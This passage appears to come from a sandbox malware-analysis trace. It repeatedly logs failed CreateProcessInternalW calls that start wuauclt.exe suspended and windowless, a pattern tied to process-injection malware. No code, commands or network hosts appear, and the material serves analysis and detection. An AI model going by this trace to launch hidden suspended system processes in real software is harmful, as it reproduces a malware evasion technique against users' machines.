lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.602] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.603] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.604] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, 